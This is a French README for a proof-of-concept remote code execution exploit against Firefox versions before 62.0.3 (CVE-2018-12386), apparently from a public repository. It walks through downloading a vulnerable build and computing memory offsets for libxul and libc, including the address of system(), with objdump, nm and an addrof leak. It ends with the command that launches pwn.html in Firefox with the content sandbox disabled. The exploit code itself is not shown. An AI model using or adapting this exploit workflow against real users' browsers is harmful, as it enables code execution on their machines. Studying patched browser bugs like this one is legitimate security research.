
CVE-2018-12386 - Exploit RCE sandboxé Firefox pour Linux (Firefox <v62.0.3)
Voici un exploit simple pour la vulnérabilité CVE-2018-12386 trouvée par Niklas Baumstark, Samuel Groß et Bruno Keith.
C'est principalement un PoC que j'ai fait pour le plaisir, il n'y a pas de contournement de sandbox et cela ne fonctionnera que sur une configuration Linux donnée où les décalages utilisés par l'exploit sont déjà connus (ils peuvent être modifiés dans exploit/offsets.js).
Cet exploit fonctionne pour les versions antérieures à Firefox 62.0.3 et Firefox ESR 60.2.2.
Vous pouvez télécharger les anciennes versions de Firefox directement depuis le serveur FTP de Mozilla : https://ftp.mozilla.org/pub/firefox/releases/
Vous pouvez utiliser, par exemple, la version 62.0.2 pour Linux 64 bits : https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soSi vous utilisez Firefox 62.0.2, le décalage fourni dans exploit/offsets.js devrait être le bon.
Pour les autres versions, une façon simple de le faire est d'utiliser la primitive addrof pour fuiter l'adresse de la fonction JavaScript Math.max, puis de trouver l'adresse de base de libxul.so pour l'instance de Firefox que vous exploitez actuellement (avec cat /proc/$(pidof firefox)/maps par exemple) et de soustraire les deux pour obtenir le décalage libxul_math_max.
Si vous utilisez Firefox 62.0.2, le décalage fourni dans exploit/offsets.js devrait être le bon.
Pour les autres versions, une façon simple de le faire est d'utiliser objdump.
[asriel@core firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
5c0b370 est la valeur dont vous avez besoin, c'est-à-dire le décalage de memmove dans libxul.so.
libc.so.6Ces décalages dépendent entièrement de la version de libc que vous utilisez.
# libc.so.6 location
[asriel@core firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/usr/lib/libc.so.6
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep __memmove_avx_unaligned_erms
0000000000160c90 t __memmove_avx_unaligned_erms
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep " system"
0000000000044dd0 W system
Une fois que vous avez Firefox et les bons décalages, vous pouvez tester l'exploit en lançant la commande suivante :
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

Si vous voulez dire bonjour : @Asri3l